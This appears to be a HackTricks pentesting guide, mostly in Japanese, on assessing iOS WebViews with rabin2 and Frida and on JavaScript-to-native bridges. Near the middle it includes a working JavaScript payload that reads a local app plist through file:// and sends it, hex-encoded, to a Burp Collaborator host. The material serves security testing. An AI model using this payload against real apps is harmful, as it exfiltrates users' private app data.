iOS WebViews

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

The code of this page was extracted from here. Check the page for further details.

WebViews types

WebViewsは、アプリケーション内でインタラクティブにウェブコンテンツを表示するために利用されます。さまざまな種類のWebViewsは、iOSアプリケーションに異なる機能とセキュリティ機能を提供します。以下は簡単な概要です:

  • UIWebViewは、JavaScriptを無効にするサポートがないため、iOS 12以降は推奨されなくなりました。これにより、スクリプトインジェクションや**Cross-Site Scripting (XSS)**攻撃に対して脆弱です。

  • WKWebViewは、アプリにウェブコンテンツを組み込むための推奨オプションで、コンテンツとセキュリティ機能に対する制御が強化されています。JavaScriptはデフォルトで有効ですが、必要に応じて無効にすることができます。また、JavaScriptが自動的にウィンドウを開かないようにする機能をサポートし、すべてのコンテンツが安全に読み込まれることを保証します。さらに、WKWebViewのアーキテクチャは、メインアプリプロセスに影響を与えるメモリ破損のリスクを最小限に抑えます。

  • SFSafariViewControllerは、アプリ内で標準化されたウェブブラウジング体験を提供し、読み取り専用のアドレスフィールド、共有およびナビゲーションボタン、Safariでコンテンツを開くための直接リンクを含む特定のレイアウトで認識されます。WKWebViewとは異なり、SFSafariViewControllerではJavaScriptを無効にすることはできず、Safariとクッキーやデータを共有し、アプリからユーザーのプライバシーを維持します。App Storeのガイドラインに従って、目立つように表示する必要があります。

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews 設定探索の概要

静的分析の概要

WebViews 設定を調査する過程で、主に二つのタイプに焦点が当てられます: UIWebViewWKWebView。バイナリ内でこれらの WebViews を特定するために、特定のクラス参照と初期化メソッドを検索するコマンドが利用されます。

  • UIWebView の特定

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

このコマンドは、バイナリ内のそれに関連するテキスト文字列を検索することによって、UIWebView のインスタンスを特定するのに役立ちます。

  • WKWebViewの識別

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

同様に、WKWebViewの場合、このコマンドはその使用を示すテキスト文字列をバイナリ内で検索します。

さらに、WKWebViewがどのように初期化されるかを見つけるために、次のコマンドが実行され、その初期化に関連するメソッドシグネチャをターゲットにします:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript 設定の確認

WKWebView では、必要でない限り JavaScript を無効にすることがベストプラクティスであると強調されています。コンパイルされたバイナリを検索して、javaScriptEnabled プロパティが false に設定されていることを確認し、JavaScript が無効になっていることを保証します:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

安全なコンテンツのみの検証

WKWebView は、UIWebView と対照的に、混合コンテンツの問題を特定する機能を提供します。これは、すべてのページリソースが安全な接続を介してロードされることを確認するために hasOnlySecureContent プロパティを使用してチェックされます。コンパイルされたバイナリ内の検索は次のように行われます:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

動的分析の洞察

動的分析は、WebViewインスタンスとそのプロパティのためにヒープを検査することを含みます。この目的のために、webviews_inspector.jsというスクリプトが使用され、UIWebViewWKWebView、およびSFSafariViewControllerインスタンスをターゲットにします。見つかったインスタンスに関する情報、URL、およびJavaScriptと安全なコンテンツに関連する設定がログに記録されます。

ヒープ検査は、ObjC.choose()を使用してWebViewインスタンスを特定し、javaScriptEnabledおよびhasonlysecurecontentプロパティを確認することで実施できます。

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

スクリプトは次のように実行されます:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

主要な成果:

  • WebViewのインスタンスが正常に特定され、検査されました。

  • JavaScriptの有効化と安全なコンテンツ設定が確認されました。

この要約は、JavaScriptの有効化や混合コンテンツの検出などのセキュリティ機能に焦点を当て、静的および動的アプローチを通じてWebViewの構成を分析する際の重要なステップとコマンドを要約しています。

WebViewプロトコル処理

WebView内のコンテンツを処理することは重要な側面であり、特にhttp(s)://file://、およびtel://などのさまざまなプロトコルを扱う際に重要です。これらのプロトコルは、アプリ内でリモートおよびローカルコンテンツの両方を読み込むことを可能にします。ローカルコンテンツを読み込む際には、ユーザーがファイルの名前やパスに影響を与えたり、コンテンツ自体を編集したりできないように注意が必要です。

WebViewsは、コンテンツの読み込みに異なる方法を提供します。現在は非推奨のUIWebViewでは、loadHTMLString:baseURL:loadData:MIMEType:textEncodingName:baseURL:のようなメソッドが使用されます。一方、WKWebViewは、ウェブコンテンツのためにloadHTMLString:baseURL:loadData:MIMEType:textEncodingName:baseURL:、およびloadRequest:を使用します。ローカルファイルを読み込むためには、通常pathForResource:ofType:URLForResource:withExtension:、およびinit(contentsOf:encoding:)のようなメソッドが利用されます。loadFileURL:allowingReadAccessToURL:メソッドは、特定のURLまたはディレクトリをWebViewに読み込む能力があり、ディレクトリが指定された場合には機密データが露出する可能性があるため、特に注目に値します。

これらのメソッドをソースコードやコンパイルされたバイナリ内で見つけるためには、以下のようなコマンドを使用できます:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Regarding file access, UIWebViewは普遍的にそれを許可しますが、WKWebViewはファイルURLからのアクセスを管理するためにallowFileAccessFromFileURLsallowUniversalAccessFromFileURLsの設定を導入しており、両方ともデフォルトではfalseです。

セキュリティ設定のためにWKWebViewの構成を検査するためのFridaスクリプトの例が提供されています:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

最後に、ローカルファイルを抽出することを目的としたJavaScriptペイロードの例は、不適切に構成されたWebViewに関連する潜在的なセキュリティリスクを示しています。このペイロードは、ファイルの内容を16進数形式にエンコードしてからサーバーに送信し、WebViewの実装における厳格なセキュリティ対策の重要性を強調しています。

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Native Methods Exposed Through WebViews

Understanding WebView Native Interfaces in iOS

iOS 7以降、AppleはWebView内のJavaScriptとネイティブ SwiftまたはObjective-Cオブジェクト間の通信のためのAPIを提供しました。この統合は主に2つのメソッドを通じて実現されます:

  • JSContext: SwiftまたはObjective-CのブロックがJSContext内の識別子にリンクされると、自動的にJavaScript関数が作成されます。これにより、JavaScriptとネイティブコード間のシームレスな統合と通信が可能になります。

  • JSExport Protocol: JSExportプロトコルを継承することで、ネイティブプロパティ、インスタンスメソッド、およびクラスメソッドをJavaScriptに公開できます。これは、JavaScript環境で行われた変更がネイティブ環境に反映され、その逆も同様であることを意味します。ただし、この方法で機密データが意図せず公開されないようにすることが重要です。

Accessing JSContext in Objective-C

Objective-Cでは、UIWebViewJSContextは次のコード行で取得できます:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Communication with WKWebView

WKWebViewでは、JSContextへの直接アクセスは利用できません。代わりに、postMessage関数を通じてメッセージの送受信が利用され、JavaScriptとネイティブの通信が可能になります。これらのメッセージのハンドラーは以下のように設定され、JavaScriptがネイティブアプリケーションと安全に対話できるようになります:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interaction and Testing

JavaScriptは、スクリプトメッセージハンドラーを定義することでネイティブレイヤーと対話できます。これにより、ウェブページからネイティブ関数を呼び出すなどの操作が可能になります:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

ネイティブ関数呼び出しの結果をキャプチャして操作するには、HTML内でコールバック関数をオーバーライドすることができます:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

ネイティブ側は、JavaScriptBridgeMessageHandlerクラスに示されているように、JavaScript呼び出しを処理します。ここでは、数値の乗算などの操作の結果が処理され、表示またはさらなる操作のためにJavaScriptに送信されます:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS WebViewsのデバッグ

(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)

iOS webviews内のウェブコンテンツを効果的にデバッグするには、console.log()に送信されたメッセージがXcodeのログに表示されないため、Safariの開発者ツールを使用した特定のセットアップが必要です。以下は、重要なステップと要件を強調した簡略ガイドです。

  • iOSデバイスの準備: iOSデバイスでSafari Web Inspectorを有効にする必要があります。これは、設定 > Safari > 詳細に移動し、_Web Inspector_を有効にすることで行います。

  • macOSデバイスの準備: macOS開発マシンでSafari内の開発者ツールを有効にする必要があります。Safariを起動し、Safari > 環境設定 > 詳細にアクセスし、_開発メニューを表示_するオプションを選択します。

  • 接続とデバッグ: iOSデバイスをmacOSコンピュータに接続し、アプリケーションを起動した後、macOSデバイスのSafariを使用してデバッグしたいwebviewを選択します。Safariのメニューバーで_開発_に移動し、iOSデバイスの名前にカーソルを合わせてwebviewインスタンスのリストを表示し、検査したいインスタンスを選択します。この目的のために新しいSafari Web Inspectorウィンドウが開きます。

ただし、制限に注意してください:

  • この方法でのデバッグにはmacOSデバイスが必要です。Safariに依存しているためです。

  • Xcodeを通じてデバイスにロードされたアプリケーション内のwebviewのみがデバッグの対象となります。App StoreやApple Configuratorを介してインストールされたアプリのwebviewは、この方法でデバッグできません。

参考文献

AWSハッキングを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、練習する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Last updated